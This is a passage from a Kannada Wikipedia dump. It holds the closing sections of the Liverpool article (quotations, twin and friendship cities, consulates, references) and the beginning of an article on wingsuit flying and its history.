ಯುರೋಪ್‌ನ ನ್ಯೂಯಾರ್ಕ್, ಇದು ಒಂದು ಪ್ರಪಂಚದ ನಗರವಾಗಿದ್ದು ಬ್ರಿಟೀಷ್ ಆಡಳಿತವನ್ನು ಹೊಂದದ್ದಾಗಿದೆ.” – ''ಇಲ್ಲಿಸ್ಟ್ರೇಟೆಡ್ ಲಂಡನ್ ನ್ಯೂಸ್'' , 15 ಮೇ 1886 * "ಲಿವರ‍್ಪೂಲ್ ಇದು "ಜೀವನದ ಪೂಲ್"– ಸಿ.ಜಿ.ಯೂಂಗ್, ''ಮೆಮೊರಿಸ್, ಡ್ರೀಮ್ಸ್, ರಿಫ್ಲೆಕ್ಷನ್ಸ್'' , 1928 * "ಇದರ ಕೇಂದ್ರವು ವಿಕ್ಟೋರಿಯನ್ ಕಾದಂಬರಿಯಲ್ಲಿರುವಂತೆ ಇದು ಒತ್ತಡ ಹೇರುವ, ಯಾವುದೋ ರಹಸ್ಯ ಹೊಂದಿರುವಂತಹ ನಗರದಂತೆ ಕಂಡುಬರುತ್ತಿದೆ...ಈಗ ನಾವು ನಗರದ ಹೃದಯ ಭಾಗದಲ್ಲಿದ್ದೇವೆ ಮತ್ತು ಕತ್ತಲು ಕೂಪದ ಹೃದಯಭಾಗದಂತಿದೆ. ಇದು ದೊಡ್ಡ ನಗರದಂತೆ ಕಂಡು ಬರುತ್ತಿದೆ. ಅದನ್ನು ವಿರೋಧಿಸುವಂತಹ ಪ್ರತಿಕ್ರಿಯೆಗಳು ಕಂಡುಬರುತ್ತಿಲ್ಲ. ಇಲ್ಲಿ, ಇಂಗ್ಲೀಷ್ ಸಮುದ್ರ ನೆಲೆ ಇದ್ದು ಲಂಡನ್ ಅನ್ನು ಬಿಟ್ಟು ಎರಡನೇ ಸಮುದ್ರ ನೆಲೆಯಾಗಿದೆ. ಇಲ್ಲಿರುವ ಕಲ್ಲುಗಳ ರಾಶಿಯೇ ಅದನ್ನು ಸ್ತುತಪಡಿಸುತ್ತದೆ. ಮತ್ತು ಸೂರ್ಯ ಕೂಡಾ ಇವುಗಳ ಮೇಲೆ ಸರಿಯಾಗಿ ತನ್ನ ಬೆಳಕನ್ನು ಚೆಲ್ಲಲಿಲ್ಲ ಎಂದು ಕಂಡುಬರುತ್ತದೆ..." – ಜೆ.ಬಿ.ಪ್ರಿಸ್ಟ್ಲೆ, ''ಇಂಗ್ಲೀಷ್ ಜರ್ನಿ'' , 1934 * "...ಲಿವರ್‌ಪೂಲ್ ಮತ್ತೊಮ್ಮೆ ಉನ್ನತಿ ಹೊಂದುವ ನಿಟ್ಟಿನಲ್ಲಿ ಕಾರ್ಯಗತವಾದಲ್ಲಿ ಇದರ ಸಾಮರ್ಥ್ಯಕ್ಕೆ ಯಾವುದೇ ತಡೆ ಇರುವುದು ಸಾಧ್ಯವಿಲ್ಲ. ಇಲ್ಲಿರುವ ಕಟ್ಟಡಗಳು ಹಾಗೂ ಜನಸಂಖ್ಯೆಯು ಆಶ್ಚರ್ಯಕರವಾದುದಾಗಿದೆ. ಇದು ಲಂಡನ್ ಮತ್ತು ಮ್ಯಾಂಚೆಸ್ಟರ್ ನಗರಕ್ಕಿಂತ ಹೆಚ್ಚಿನದಾಗಿದೆ. ಈ ರೀತಿಯಾಗಿ ಲ್ಯಾಂಚ್‌ಶೈರ್‌ನ ಯಾವ ಕಡೆಯೂ ಕಂಡುಬರುವುದಿಲ್ಲ: ಈ ಹೋಲಿಕೆಯು ಹೊರದೇಶಗಳಾದ –ಡಬ್ಲಿನ್ ಅಥವಾ ಬೋಸ್ಟನ್, ಅಥವಾ ಹ್ಯಾಮ್‌ಬರ್ಗ್‌." – ಇಯಾನ್ ನಾರಿನ್, ''ಬ್ರಿಟನ್ ಚೇಂಜಿಂಗ್ ಟೌನ್‌'' , 1967 ==ಅಂತರಾಷ್ಟ್ರೀಯ ಕೊಂಡಿಗಳು== ===ಅವಳಿ ನಗರಗಳು=== ಲಿವರ್ ಪೂಲ್ ಇದು ಈ ಮುಂದಿನ ನಗರಗಳೊಂದಿಗೆ ಹೊಂದಿಕೊಂಡಿದೆ<ref>{{Cite web|url=http://www.liverpool.gov.uk/Community_and_living/Twinning/index.asp|title=Liverpool City Council: twinning|accessdate=2007-11-17|archiveurl=https://web.archive.org/web/20050409023931/http://www.liverpool.gov.uk/Community_and_living/Twinning/index.asp|archivedate=2005-04-09|url-status=dead}}</ref><ref>{{Cite web|url=http://spl.camara.rj.gov.br/spldocs/pl/2003/pl1488_2003_004271.pdf|title=Declara cidades-irmãs as cidades do Rio de Janeiro e de Liverpool|accessdate=2011-03-02|archive-date=2009-03-26|archive-url=https://web.archive.org/web/20090326223751/http://spl.camara.rj.gov.br/spldocs/pl/2003/pl1488_2003_004271.pdf|url-status=dead}}</ref>: {{div col|colwidth=}} * [[Surabaya]], Indonesia (2017) * [[Birmingham, Alabama]], United States (2015) * [[Cologne]], Germany (1952) * [[Dublin]], Ireland (1997) * [[Johor Bahru]], Malaysia * [[Medan]], Indonesia * [[Penang]], Malaysia * [[Rio de Janeiro]], Brazil (2003) * [[Shanghai]], China (1999) {{div col end}} ===ಸ್ನೇಹದ ಕೊಂಡಿಗಳು=== ಲಿವರ್‌ಪೂಲ್ ಇದು ಸ್ನೇಹವನ್ನು ಈ ಕೆಳಗಿನ ನಗರಗಳೊಂದಿದೆ ಹೊಂದೆದೆ (ಯಾವುದೇ ಶಾಸ್ತ್ರೋಕ್ತವಾದ ಸಂವಿಧಾನವನ್ನು ಹೊಂದಿರದೆ)<ref>{{Cite web|url=http://old.liverpool.gov.uk/Community_and_living/Twinning/index.asp|title=Liverpool City Council: Twinning - Friendship links}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>: * {{Flag icon|France}} '''Givenchy-lès-la-Bassée''' , [[ಫ್ರಾನ್ಸ್]]'''' * {{Flag icon|Canada}} '''ಹ್ಯಾಲಿಫಾಕ್ಸ್''' , [[ಕೆನಡಾ]]'''' * [43] '''ಹವಾನಾ''' , [[ಕ್ಯೂಬಾ]]'''' * {{Flag icon|Argentina}} '''ಲಾ ಪ್ಲಾಟಾ''' , [[ಅರ್ಜೆಂಟೀನ|ಅರ್ಜಂಟೀನಾ]]'''' * {{Flag icon|US}} '''ಮೆಂಫಿಸ್''' , [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಯುಎಸ್]]'''' * {{Flag icon|Japan}} '''ಮಿನಾಮಿಟಾನ್''' , [[ಜಪಾನ್]]'''' * {{Flag icon|Italy}} '''ನ್ಯಾಪಲ್ಸ್''' , [[ಇಟಲಿ]]'''' * {{Flag icon|US}} '''[[ನ್ಯೂ ಒರ್ಲೀನ್ಸ್|ನ್ಯೂ ಒರ್ಲಿಯಾನ್ಸ್]]''' , [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಯುಎಸ್]]'''' * {{Flag icon|Ukraine}} '''ಒಡೆಸ್ಸಾ''' , [[ಯುಕ್ರೇನ್|ಉಕ್ರೈನ್]]'''' * {{Flag icon|Italy}} '''ಪೊನ್ಸಾಕ್ಕೊ''' , [[ಇಟಲಿ]]'''' * {{Flag icon|Romania}} '''Râmnicu Vâlcea''' , [[ರೊಮಾನಿಯ|ರೊಮಾನಿಯಾ]]'''' * {{Flag icon|Chile}} '''Valparaíso''' , [[ಚಿಲಿ]]'''' ===ಇತರೆ ಕೊಂಡಿಗಳು=== ಲಿವರ್‌ಪೂಲ್ ಇತರ ನಗರಗಳೊಂದಿಗೆ ಕೂಡ ಸಂಬಂದ ಹೊಂದಿದೆ: * {{Flag icon|US}} '''[[ನ್ಯೂ ಯಾರ್ಕ್ ನಗರ|ನ್ಯೂಯಾರ್ಕ್]]''' , [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಯುಎಸ್]] – ಫ್ರಿಡಮ್ ಆಪ್ ದಿ ಸಿಟಿ-ಲಿವರ್‌ಪೂಲ್'' – ಆಗಸ್ಟ್ 2003'' * {{Flag icon|Latvia}} '''ರಿಗಾ''' , ಲಾಟ್ವಿಯಾ – ಲೆಟರ್ ಆಫ್ ಇಂಟೆಂಟ್ ಸಹಿ ಹಾಕಲಾಯಿತು'' – ಮಾರ್ಚ್ 2003'' * {{Flag icon|Norway}} '''ಸ್ಟಾವೆಂಜರ್''' , [[ನಾರ್ವೇ|ನಾರ್ವೆ]] – ಲೆಟರ್ ಆಫ್ ಇಂಟೆಂಟ್ ಸಹಿ ಹಾಕಿದ್ದು'' –ಜೂನ್ 2004'' ===ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿರುವ ದೂತಾವಾಸಗಳು=== * {{Flag icon|Cape Verde}} ಕೇಪ್ ವರ್ಡಿಯನ್ ದೂತಾವಾಸ * {{Flag icon|Hungary}} ಹಂಗೇರಿ ದೂತಾವಾಸ * {{Flag icon|Italy}} ಇಟಲಿ ದೂತಾವಾಸ * {{Flag icon|Netherlands}} ನೆದರ್‌ಲ್ಯಾಂಡ್ ದೂತಾವಾಸ * {{Flag icon|Norway}} ನಾರ್ವೇ ದೂತಾವಾಸ * {{Flag icon|Sweden}} ರಾಯಲ್ ಸ್ವೀಡಿಷ್ ದೂತಾವಾಸ * {{Flag icon|Thailand}} ರಾಯಲ್ ಥಾಯ್ * {{flag icon|United States}} ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ದೂತಾವಾಸ (ಮುಂಚಿನ) ==ಇವನ್ನೂ ಗಮನಿಸಿ‌== {{Portal|North West England}} * 1911 ಲಿವರ್‌ಪೂಲ್ ಜನರಲ್ ಟ್ರಾನ್ಸ್‌ಪೋರ್ಟ್ ಸ್ಟ್ರೈಕ್ * 2008 ಯುರೋಪಿಯನ್ ಅಮೆಚ್ಯೂರ್ ಬಾಕ್ಸಿಂಗ್ ಚಾಂಪಿಯನ್‌ಶಿಪ್ಸ್ * ಲಾ ಪ್ರಿನ್ಸೆಸ್, ದೊಡ್ದದಾದ ಒಂದು ಯಾಂತ್ರಿಕ ಜೇಡವು ಸೆಪ್ಟೆಂಬರ್ 2008ರಲ್ಲಿ ಇಲ್ಲಿಯ ರಸ್ತೆಗಳಲ್ಲಿ ನಡೆದಾಡಿತು. * ಬಿಗ್ ಡಿಗ್ (ಲಿವರ್‌ಪೂಲ್) * [[:ವರ್ಗ:Culture in Liverpool|ಲಿವರ‍್ಪೂಲ್‌ನಲ್ಲಿಯ ಸಂಸ್ಕೃತಿ]] * ಲಿವರ್‌ಪೂಲ್‌ನಲ್ಲಿ ಚಿತ್ರಿತವಾಗುತ್ತಿರುವ ಸಿನೆಮಾಗಳು ಮತ್ತು ಟೆಲಿವಿಷನ್ ಶೋಗಳು * ಅಂತರಾಷ್ಟ್ರೀಯ ಗಾರ್ಡನ್ ಫೆಸ್ಟಿವಲ್ * ಲಿವರ್‌ಪೂಲ್‌ನ ಕೋಟೆ * ವಿಲಿಯಮ್‌ಸನ್ ಸುರಂಗಗಳು * ಲಿವರ್‌ಪೂಲ್ ಫುಟ್‌ಬಾಲ್ ಕ್ಲಬ್ * ಎವರ್ಟನ್ ಫುಟ್‌ಬಾಲ್ ಕ್ಲಬ್ * ಮ್ಯಾಜಿಸ್ಟ್ರೇಟ್ ಕೋರ್ಟ್, ಲಿವರ್‌ಪೂಲ್ ==ಹೆಚ್ಚಿನ ಓದಿಗಾಗಿ== * [https://archive.org/stream/liverpool00scot#page/n7/mode/2up ''ಲಿವರ್‌ಪೂಲ್'' ],ಡಿಕ್ಸಾನ್ ಸ್ಕಾಟ್, 1907 * [https://archive.org/stream/historyofliverpo00muiruoft#page/n9/mode/2up ''ಎ ಹಿಸ್ಟರಿ ಆಫ್ ಲಿವರ್‌ಪೂಲ್'' ], ರಾಮ್ಸೆ ಮ್ಯೂರ್, 1907 * [https://archive.org/stream/bygoneliverpool00muiruoft#page/n9/mode/2up ''ಬೈಗಾನ್ ಲಿವರ್‌ಪೂಲ್'' ], ರಾಮ್ಸೆ ಮ್ಯೂರ್‌, 1913 * ''ಬೈಗಾನ್ ಲಿವರ್‌ಪೂಲ್'' , ಡೇವಿಡ್ ಕ್ಲೆನ್ಸಿ, 2008. ISBN 978-1-4357-0897-6 * ''ಲಿವರ್‌ಪೂಲ್ 800'' , ಜಾನ್ ಬೆಲ್ಚಾಮ್, 2006. ISBN 978-1-84631-035-5 * ''ಚೈನಿಸ್ ಲಿವರ್‌ಪುಡ್ಲಿಯಾನ್ಸ್'' , ಮರಿಯಾ ಲಿನ್ ವೊಂಗ್, 1989. ISBN 978-1-871201-03-1 * ''ರೈಟಿಂಗ್‌ ಲಿವರ್‌ಪೂಲ್: ಎಸ್ಸೇಸ್ ಆಂಡ್ ಇಂಟರ್‌ವ್ಯೂಸ್'' , -ಸಂಪಾದನೆ- ಮೈಕೆಲ್ ಮರ್ಫಿ ಮತ್ತು ರೀಸ್ ಜೋನ್ಸ್, 2007. ISBN 978-1-84631-073-7 ==ಉಲ್ಲೇಖಗಳು‌‌== ===ಟಿಪ್ಪಣಿಗಳು=== {{Reflist|2}} ===ಗ್ರಂಥಸೂಚಿ=== *{{Cite book|last=Hughes |first=Quentin |title=Liverpool: City of Architecture |publisher=[[Bluecoat Press]] |year=1999 |isbn=1-872568-21-1}} *{{Cite book|author=Liverpool City Council |title=Maritime Mercantile City: Liverpool |publisher=[[Liverpool University Press]] |year=2005 |isbn=1-84631-006-7}} *{{Cite book|last=Moscardini |first=Anthony |title=Liverpool City Centre: Architecture and Heritage |publisher=[[Bluecoat Press]] |year=2008 |isbn=978-1904438649}} *{{Cite book|last=Nicholls |first=Robert |title=Curiosities of Merseyside |publisher=[[Sutton Publishing]] |year=2005 |isbn=978-0-7509-3984-3}} *{{Cite book|last=Sharples |first=Joseph |title=Pevsner Architectural Guides: Liverpool |publisher=[[Yale University Press]] |year=2004 |isbn=0-300-10258-5}} ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು‌‌== {{Commons category}} {{Wikinews|:ವರ್ಗ:Liverpool|Liverpool}} * [http://www.liverpoolpictorial.co.uk/ ಲಿವರ‍್ ಪೂಲ್ ಚಿತ್ರಗಳು] * [http://www.liverpool.gov.uk/ ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್] * [http://www.liverpool08.com/ ಲಿವರ್‌ಪೂಲ್‌ನ ಅಧಿಕೃತ ಯುರೋಪಿಯನ್ ಕಲ್ಚರ್ ವೆಬ್‌ಸೈಟ್‌] * [http://www.visitliverpool.com/ ಅಧಿಕೃತ ಲಿವರ್‌ಪೂಲ್ ಪ್ರವಾಸಿ ತಾಣಗಳ ಸೈಟ್‌] * [http://www.mersey-gateway.org/server.php?show=ConNarrative.61 ಲಿವರ್‌ಪೂಲ್ ಹೆಸರುಗಳ ಹುಟ್ಟು] {{Webarchive|url=https://web.archive.org/web/20121127045958/http://www.mersey-gateway.org/server.php?show=ConNarrative.61 |date=2012-11-27 }} * {{wikivoyage|Liverpool}} {{Liverpool related articles}} {{Liverpool}} {{Merseyside}} {{NW England}} {{UK cities}} {{Metropolitan counties and metropolitan districts}} {{25 largest settlements in the UK by urban core population}} {{European Capital of Culture}} {{World Heritage Sites in the United Kingdom}} {{Liverpool B&S}} {{Coord|53.4|N|3|W|region:GB_source:enwiki-osgb36(SJ437905)|display=title}} [[ವರ್ಗ:ಲಿವರ್‌ಪೂಲ್]] [[ವರ್ಗ:1922ರ ಸ್ಥಾಪನೆಗಳು]] [[ವರ್ಗ:ವಾಯುವ್ಯ ಇಂಗ್ಲೆಂಡ್‌ನ ನಗರಗಳು‌]] [[ವರ್ಗ:ಯೂರೋಪ್‌ನ ಸಾಂಸ್ಕೃತಿಕ ರಾಜಧಾನಿಗಳು]] [[ವರ್ಗ:ಮಹಾನಗರದ ವಿಭಾಗಗಳು]] [[ವರ್ಗ:ಮರ್ಸಿಸೈಡ್‌ನಲ್ಲಿಯ ಜನನಿಬಿಡ ಸಮುದ್ರ ಪ್ರದೇಶಗಳು]] [[ವರ್ಗ:13ನೇಯ ಶತಮಾನದಲ್ಲಿ ಸ್ಥಾಪನೆಯಾದ ಜನನಿಬಿಡ ಸ್ಥಳಗಳು]] [[ವರ್ಗ:ಯುನೈಟೆಡ್‌ ಕಿಂಗ್ಡಮ್‌ನಲ್ಲಿರುವ ಬಂದರು ನಗರಗಳು ಮತ್ತು ಪಟ್ಟಣಗಳು]] [[ವರ್ಗ:ಮರ್ಸಿಸೈಡ್‌ನಲ್ಲಿಯ ನಗರಗಳು]] [[ವರ್ಗ:ಇಂಗ್ಲಂಡ್‌ನಲ್ಲಿಯ ವರ್ಲ್ಡ್ ಹೆರಿಟೇಜ್ ಸೈಟ್‌ಗಳು]] [[ವರ್ಗ:ಧ್ವನಿಮುದ್ರಿತ ಉಚ್ಚಾರಣೆ ಸೇರಿದ ಲೇಖನಗಳು (ಯುಕೆ ಇಂಗ್ಲಿಷ್‌)]] [[ವರ್ಗ:ವಾಯುವ್ಯ ಇಂಗ್ಲೆಂಡ್‌ನ ಸ್ಥಳೀಯ ಸರ್ಕಾರ ಜಿಲ್ಲೆಗಳು]] [[ವರ್ಗ:NUTS 3 ಅಂಕಿಅಂಶಗಳಲ್ಲಿರುವ ಯುನೈಟೆಡ್ ಕಿಂಗ್‍ಡಮ್‌ನ ಪ್ರದೇಶಗಳು]] p8d10z3764w4qyplwrzekh740bcez5a ರೆಕ್ಕೆದಿರಿಸು ಹಾರಾಟ 0 30066 1116420 1080045 2022-08-23T12:14:22Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki [[File:Wingsuit-01.jpg|thumb|300px|right|ಹಾರಾಟದಲ್ಲಿ ತೊಡಗಿರುವ ರೆಕ್ಕೆದಿರಿಸುಗಳು]] '''ರೆಕ್ಕೆದಿರಿಸು ಹಾರಾಟ''' ಎಂಬುದು ರೆಕ್ಕೆದಿರಿಸು ಎಂದು ಕರೆಯಲ್ಪಡುವ ಒಂದು ವಿಶೇಷವಾದ ಜಿಗಿತದ ದಿರಿಸನ್ನು ಬಳಸಿಕೊಂಡು ಗಾಳಿಯ ಮೂಲಕ ಮಾನವ ಶರೀರವನ್ನು ಹಾರಿಸುವ ಕ್ರೀಡೆಯಾಗಿದೆ. ಈ ಹಾರಾಟದಲ್ಲಿ ಮೇಲ್ಮುಖ ಒತ್ತಡದಲ್ಲಿನ ಒಂದು ಗಮನಾರ್ಹ ಹೆಚ್ಚಳಕ್ಕೆ ಅನುವು ಮಾಡಿಕೊಡಲು ಸದರಿ ರೆಕ್ಕೆದಿರಿಸು ಮಾನವ ಶರೀರದ ಮೇಲ್ಮೈ ವಿಸ್ತೀರ್ಣವನ್ನು ಹೆಚ್ಚಿಸುತ್ತದೆ. ಹಾರಾಟದಲ್ಲಿ ತೊಡಗುವವರ ಕಾಲುಗಳ ನಡುವೆ ಹಾಗೂ ತೋಳುಗಳ ಅಡಿಯಲ್ಲಿ ನೆಯ್ದ ಬಟ್ಟೆಯನ್ನು ಬಳಸಿಕೊಂಡು ಆಧುನಿಕ ರೆಕ್ಕೆದಿರಿಸಿನ ವಿನ್ಯಾಸಗಳು ಮೇಲ್ಮೈ ವಿಸ್ತೀರ್ಣವನ್ನು ಸೃಷ್ಟಿಸುತ್ತವೆ. ಒಂದು ರೆಕ್ಕೆದಿರಿಸಿಗೆ ಒಂದು ''ಹಕ್ಕಿಗ ದಿರಿಸು'' (ಬರ್ಡ್‌ಮನ್‌ ಸೂಟ್‌) ಅಥವಾ ''ಅಳಿಲು ದಿರಿಸು'' (ಸ್ಕ್ವಿರಿಲ್‌ ಸೂಟ್‌) ಎಂದು ಉಲ್ಲೇಖಿಸಬಹುದಾಗಿದೆ. ಒಂದು ಧುಮುಕುಕೊಡೆಯು (ಪ್ಯಾರಾಶೂಟ್‌) ತೆರೆದುಕೊಳ್ಳುವುದರೊಂದಿಗೆ ರೆಕ್ಕೆದಿರಿಸಿನ ಹಾರಾಟವೊಂದು ಕೊನೆಗೊಳ್ಳುತ್ತದೆ. ಆದ್ದರಿಂದ, ಗಾಳಿಯ ಮೂಲಕ ಜಾರಿಕೊಂಡು ಹೋಗುವುದಕ್ಕೆ ಸಾಕಷ್ಟಿರುವ ಉನ್ನತಿಯನ್ನು ಒದಗಿಸುವಂಥ, ಹಾಗೂ ಸಜ್ಜುಗೊಳ್ಳುವುದಕ್ಕೆ ಒಂದು ಧುಮುಕುಕೊಡೆಗೆ ಅವಕಾಶ ನೀಡುವಂಥ ಯಾವುದೇ ತಾಣದಿಂದ ಒಂದು ರೆಕ್ಕೆದಿರಿಸು ಹಾರಾಟವನ್ನು ನಡೆಸಬಹುದು; ಆಕಾಶ ನೆಗೆತದ ಆಕಾಶಬುಟ್ಟಿ ಅಥವಾ BASE ಜಿಗಿತದ ನಿರ್ಗಮನ ತಾಣಗಳಂಥವು ಸದರಿ ತಾಣಗಳಲ್ಲಿ ಸೇರಿವೆ. ಆಕಾಶ ನೆಗೆತ ಅಥವಾ BASE ಜಿಗಿತಕ್ಕಾಗಿ ವಿನ್ಯಾಸಗೊಳಿಸಲಾದ ಧುಮುಕುಕೊಡೆ ಸಾಧನವನ್ನು ರೆಕ್ಕೆದಿರಿಸು ಹಾರಾಟಗಾರನು ಧರಿಸುತ್ತಾನೆ ಹಾರಾಟಗಾರನು ಒಂದು ಯೋಜಿತ ಉನ್ನತಿಯಲ್ಲಿ ಧುಮುಕುಕೊಡೆಯನ್ನು ಸಜ್ಜುಗೊಳಿಸುತ್ತಾನೆ ಮತ್ತು ಒಂದು ವೇಳೆ ಅವಶ್ಯಕವೆನಿಸಿದರೆ, ತೋಳಿನ ರೆಕ್ಕೆಗಳನ್ನು ಬಿಚ್ಚುತ್ತಾನೆ; ಇದರಿಂದಾಗಿ ನಿಯಂತ್ರಣದ ಅಡ್ಡಕಡ್ಡಿಗಳವರೆಗೆ ಅವರು ತಲುಪುವುದು ಮತ್ತು ಒಂದು ಸಾಮಾನ್ಯವಾದ ಧುಮುಕುಕೊಡೆಯ ಇಳಿಯುವಿಕೆಯ ಮಟ್ಟಕ್ಕೆ ಹಾರುವುದು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ==ಇತಿಹಾಸ== ಸಮತಲವಾಗಿರುವ ಚಲನೆಯನ್ನು ಹೆಚ್ಚಿಸುವುದರ ಒಂದು ಪ್ರಯತ್ನವಾಗಿ ೧೯೩೦ರ ದಶಕದಲ್ಲಿ ರೆಕ್ಕೆಗಳು ಮೊದಲು ಬಳಸಲ್ಪಟ್ಟವು. ಕ್ಯಾನ್ವಾಸ್‌, ಮರ, [[ರೇಷ್ಮೆ]], ಉಕ್ಕು, ಮತ್ತು ಅಷ್ಟೇ ಏಕೆ ತಿಮಿಂಗಿಲ ಮೂಳೆಯಂಥ ಸಾಮಗ್ರಿಗಳಿಂದ ಈ ಆರಂಭಿಕ ರೆಕ್ಕೆದಿರಿಸುಗಳು ಮಾಡಲ್ಪಟ್ಟಿದ್ದವು. ಅವು ಅತ್ಯಂತ ವಿಶ್ವಾಸಾರ್ಹವಾಗಿರಲಿಲ್ಲ. ಕೆಲವೊಬ್ಬ "ಹಾರಾಟಗಾರರು", ಅದರಲ್ಲೂ ಗಮನಾರ್ಹವಾಗಿ ಕ್ಲೆಮ್‌ ಸೊಹ್ನ್‌ ಮತ್ತು ಲಿಯೋ ವ್ಯಾಲೆಂಟಿನ್‌‌‌‌ರಂಥವರು ಮೈಲಿಗಟ್ಟಲೆ ದೂರದವರೆಗೆ ಈ ಶೈಲಿಯಲ್ಲಿ ಜಾರಿಕೊಂಡು ಹೋಗಿದ್ದರ ಕುರಿತಾದ ಸಮರ್ಥನೆಗಳನ್ನು ಕಾಣಬಹುದು. ಬರ್ಟ್‌ ಲ್ಯಾಂಕಾಸ್ಟರ್‌‌ ಮತ್ತು ಜೀನ್‌ ಹಾಕ್‌‌ಮನ್‌ ತಾರಾಗಣದಲ್ಲಿರುವ ದಿ ಜಿಪ್ಸಿ ಮಾತ್ಸ್‌ ಎಂಬ ೧೯೬೯ರ ಚಲನಚಿತ್ರದಲ್ಲಿ ರೆಕ್ಕೆದಿರಿಸು ಪ್ರದರ್ಶಿಸಲ್ಪಟ್ಟಿತು. ೧೯೯೭ರ ಅಕ್ಟೋಬರ್‌‌ ೩೧ರಂದು, ಪ್ಯಾಟ್ರಿಕ್‌ ಡೆ ಗಯಾರ್ಡನ್‌ ಎಂಬ ಓರ್ವ ಫ್ರೆಂಚ್‌ ಆಕಾಶ-ನೆಗೆತಗಾರನು, ಸರಿಸಾಟಿಯಿಲ್ಲದ ಸುರಕ್ಷತೆ ಮತ್ತು ಕಾರ್ಯಕ್ಷಮತೆಯನ್ನು ಹೊಂದಿದ್ದ ಒಂದು ರೆಕ್ಕೆದಿರಿಸನ್ನು ವರದಿಗಾರರಿಗೆ ತೋರಿಸಿದ.<ref>{{cite web|language=Italian|url=http://archiviostorico.corriere.it/1997/novembre/01/uomo_volante_fatta_co_0_9711017008.shtml|title=L'uomo volante ce l'ha fatta|publisher=[[Corriere della Sera]]|date=1997-11-01 |accessdate=2011-05-18}}</ref><ref>{{cite web|language=Italian|url=http://archiviostorico.gazzetta.it/1997/novembre/01/Patrick_uomo_shuttle_ga_0_971101468.shtml|title=Patrick, l'uomo shuttle|publisher=[[La Gazzetta dello Sport]]|date=1997-11-01 |accessdate=2011-05-18}}</ref> ೧೯೯೮ರ ಏಪ್ರಿಲ್‌ ೧೩ರಂದು, [[ಹವಾಯಿ]]ಯಲ್ಲಿ ತನ್ನ ಧುಮುಕುಕೊಡೆಯ ಧಾರಕಕ್ಕೆ ಮಾಡಲಾದ ಒಂದು ಹೊಸ ಮಾರ್ಪಾಡನ್ನು ಪರೀಕ್ಷಿಸುವಾಗ ಡೆ ಗಯಾರ್ಡನ್‌ ಮರಣಿಸಿದ; ಹೊಸ ಮಾರ್ಪಾಡಿನ ಒಂದು ಭಾಗವಾಗಿದ್ದ ಸಜ್ಜಿಕೆಯಲ್ಲಿನ ಒಂದು ನ್ಯೂನತೆಯು ಅವನ ಮರಣಕ್ಕೆ ಕಾರಣವಾಗಿತ್ತೇ ಹೊರತು, ದಿರಿಸಿನ ವಿನ್ಯಾಸದಲ್ಲಿನ ಒಂದು ದೋಷ ಇದಕ್ಕೆ ಕಾರಣವಾಗಿರಲಿಲ್ಲ ಎಂದು ತಿಳಿದುಬಂತು. ೧೯೯೮ರ ಆರಂಭದಲ್ಲಿ, ಆಸ್ಟ್ರೇಲಿಯಾಕ್ಕೆ ಸೇರಿದ ಓರ್ವ BASE ಜಿಗಿತಗಾರನಾಗಿದ್ದ ಟಾಮ್‌ ಬೆಗಿಕ್‌ ಎಂಬಾತ, ಪ್ಯಾಟ್ರಿಕ್‌ ಡೆ ಗಯಾರ್ಡನ್‌ನ ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು ತನ್ನ ಪರಿಕಲ್ಪನೆಗಳನ್ನು ಆಧರಿಸಿ ತನ್ನದೇ ಆದ ಒಂದು ರೆಕ್ಕೆದಿರಿಸನ್ನು ನಿರ್ಮಿಸಿದ ಮತ್ತು ಅದನ್ನು ಬಳಸಿಕೊಂಡು ಹಾರಾಟ ನಡೆಸಿದ. BASE ಜಿಗಿತಗಾರರು ಯುರೋಪ್‌ನ ಎತ್ತರದ ಬಂಡೆಗಳಿಂದ ಜಿಗಿಯುವಾಗ ಅವರ ಸ್ವತಂತ್ರ ಪತನದ ತುಣುಕನ್ನು ಚಿತ್ರೀಕರಿಸುವಲ್ಲಿ ಬೆಗಿಕ್‌ಗೆ ನೆರವಾಗುವಂತೆ ಈ ದಿರಿಸು ಅಭಿವೃದ್ಧಿಪಡಿಸಲ್ಪಟ್ಟಿತು. ೧೯೯೯ರ ಆರಂಭದಲ್ಲಿ, ತನ್ನ ದಿರಿಸಿನ ಅಭಿವೃದ್ಧಿಯನ್ನು ಬೆಗಿಕ್‌ ನಿಲ್ಲಿಸಿದ; ಇದು ಆತ ರಾಬರ್ಟ್‌ ಪೆಕ್ನಿಕ್‌ನನ್ನು ಭೇಟಿಮಾಡಿ, ಒಂದು ರೆಕ್ಕೆದಿರಿಸು ತಯಾರಿಕಾ ಕಂಪನಿಯನ್ನು ಸೃಷ್ಟಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಯೋಜನೆಗಳನ್ನು ಅರಿತ ನಂತರದ ಕ್ರಮವಾಗಿತ್ತು. ೨೦೦೦ದ ದಶಕದ ಮಧ್ಯಭಾಗದಲ್ಲಿ ಫೀನಿಕ್ಸ್‌ ಫ್ಲೈ ಆರಂಭವಾಯಿತು. ==ವಾಣಿಜ್ಯ ಪ್ರದೇಶ== ೧೯೯೯ರಲ್ಲಿ, ಫಿನ್ಲೆಂಡ್‌ನ ಜರಿ ಕುವೊಸ್ಮ ಹಾಗೂ ಕ್ರೊವೇಷಿಯಾದ ರಾಬರ್ಟ್‌ ಪೆಕ್ನಿಕ್‌ ಎಂಬಿಬ್ಬರು ಒಟ್ಟುಗೂಡಿ, ಎಲ್ಲಾ ಆಕಾಶ-ನೆಗೆತಗಾರರಿಗೆ ಕ್ಷೇಮಕರವಾಗಿರುವ ಮತ್ತು ಸುಲಭಲಭ್ಯವಾಗಿರುವ ಒಂದು ರೆಕ್ಕೆದಿರಿಸನ್ನು ಸೃಷ್ಟಿಸಿದರು. ಅದೇ ವರ್ಷದಲ್ಲಿ ಬರ್ಡ್‌-ಮನ್‌ ಇಂಟರ್‌ನ್ಯಾಷನಲ್‌ 